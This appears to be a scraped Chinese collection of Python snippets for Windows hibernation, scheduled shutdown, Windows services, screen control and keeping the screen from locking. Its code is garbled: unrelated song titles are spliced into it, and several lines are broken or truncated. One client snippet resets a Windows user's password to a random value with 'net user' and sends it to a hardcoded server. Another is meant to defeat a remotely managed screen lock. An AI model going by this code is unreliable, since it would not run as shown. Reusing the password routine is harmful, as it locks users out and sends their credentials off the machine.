python运⾏时不让电脑休眠_python实现windows休眠
#关键代码
import subprocess
subprocess.Popen("rundll32 powrprof.dll,SetSuspendState Hibernate")
利⽤python实现Windows8定时⾃动关机和休眠
我觉得Window8有⼀个重⼤的优点就是⽀持休眠的功能,休眠以后再次开机可以保持原来已经打开的窗⼝。但是我发现我的电脑休眠以后会⾃⼰开机,也不知道怎么回事,于是我想可以利⽤python来实现在固定时间内⾃动关机或者休眠的功能。主要的思路如下:
获取当前时间->与设定的时间作⽐较->超出了设定时间->关机或休眠
代码如下:
#coding=utf-8
import time, os ,threading
class TimeCmp:
def __init__(self, TimeStart, TimeEnd):
self.TimeStart=TimeStart
self.TimeEnd=TimeEnd
def GetNowTime(self):
pass
#now = time.strftime("%Y-%m-%d %H:%M:%S")
def Cmp(self):
LocalTime=time.localtime(time.time())
self.__TimeNow__hour*_min*_sec
self.__TimeStart_1=3600*self.TimeStart[0]+60*self.TimeStart[1]+self.TimeStart[2]
self.__TimeEnd_1=3600*self.TimeEnd[0]+60*self.TimeEnd[1]+self.TimeEnd[2]
#print 'self.__TimeNow_1',self.__TimeNow_1
#print 'self.__TimeStart_1',self.__TimeStart_1
#print 'self.__TimeEnd_1',self.__TimeEnd_1
if self.__TimeNow_1 > self.__TimeStart_1 and self.__TimeNow_1 < self.__TimeEnd_1:
return True
else:
return False
def run():
TimeStart=(8,0,0)
TimeEnd=(23,30,00)
SystemCmd='rundll32 powrprof.dll,SetSuspendState -t -s 60'
#SystemCmd='shutdown -r'
while True:
TimeCmpResult=TimeCmp(TimeStart, TimeEnd)
#print TimeCmpResult.Cmp()
shutdown=not TimeCmpResult.Cmp()
if shutdown:
print "Computer will be off"
time.sleep(float(60))
os.system(SystemCmd)
else:
print "Computer is on"
pass
time.sleep(float(600))
if __name__=="__main__":
许巍完美生活歌词run()
Python 编写Windows服务程序:将Python作为Windows服务启动
Python程序作为Windows服务启动,需要安装pywin32包。下载路径:
#-*- coding:utf-8 -*-
import win32serviceutil
import win32service
import win32event
class PythonService(win32serviceutil.ServiceFramework):
"""
Usage: 'PythonService.py [options] install|update|remove|start [...]|stop|restart [...]|debug [...]' Options for 'install' and 'update' commands only:
--username domain\username : The Username the service is to run under
--password password : The password for the username
--startup [manual|auto|disabled|delayed] : How the service starts, default = manual
--interactive : Allow the service to interact with the desktop.
--perfmonini file: .ini file to use for registering performance monitor data
--perfmondll file: .dll file to use when querying the service for
performance data, default = perfmondata.dll
Options for 'start' and 'stop' commands only:
--wait seconds: Wait for the service to actually start or stop.
If you specify --wait with the 'stop' option, the service
and all dependent services will be stopped, each waiting
the specified period.
"""
#服务名
_svc_name_ = "PythonService"
#服务显⽰名称
_svc_display_name_ = "Python Service Demo"
#服务描述
_svc_description_ = "Python service demo."
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
self.logger = self._getLogger()
self.isAlive = True
def _getLogger(self):
import logging
王菲传奇mp3下载
import os
import inspect
logger = Logger('[PythonService]')
this_file = file(inspect.currentframe())
dirpath = os.path.abspath(os.path.dirname(this_file))
handler = logging.FileHandler(os.path.join(dirpath, "service.log"))
formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s') handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
return logger
def SvcDoRun(self):李云迪年龄
import time
("svc ")
while self.isAlive:
("I am alive.")
time.sleep(1)
# 等待服务被停⽌
#win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE) def SvcStop(self):
# 先告诉SCM停⽌这个过程
("svc ")
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
# 设置事件
win32event.SetEvent(self.hWaitStop)
self.isAlive = False
if __name__=='__main__':
win32serviceutil.HandleCommandLine(PythonService)
安装服务
python PythonService.py install
让服务⾃动启动
python PythonService.py –startup auto install
启动服务
python PythonService.py start
重启服务
python PythonService.py restart
停⽌服务
python PythonService.py stop
删除/卸载服务
python PythonService.py remove
使⽤Python实现控制windows息屏
# 客户端
import socket
import getpass
import subprocess
import random
欢乐合唱团歌曲from .display import display_mothed
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
user = user()
psd = ""电脑开机音乐
for j in range(1, 9):
秘密孙艺珍m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
client.de('utf-8'))
back_msg = v(1024)
client.close()
display_mothed()
print(psd)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('192.168.1.96', 44444))
server.listen(5)
print('')
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv ')
client_msg = v(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
python 制作 防锁屏 exe
有时候,锁屏程序由远程服务器控制。制作⼀个简单的⼩程序,防⽌电脑休眠。
⽅案:使⽤python编写⼀个脚本,每个5分钟点击⿏标右键键(移动⿏标测试不⾏,所以注释掉,可以根据具体规则作修改),将pyhton脚本转成exe可执⾏⽂件,⽅便在其他没有python环境的机器上执⾏
1、python使⽤pip命令安装pyautogui  (在cmd窗⼝中)
pip install pyautogui
2、python脚本flicker.py
# -*- coding: utf-8 -*-
"""
Created on Thu Dec 27 18:59:31 2018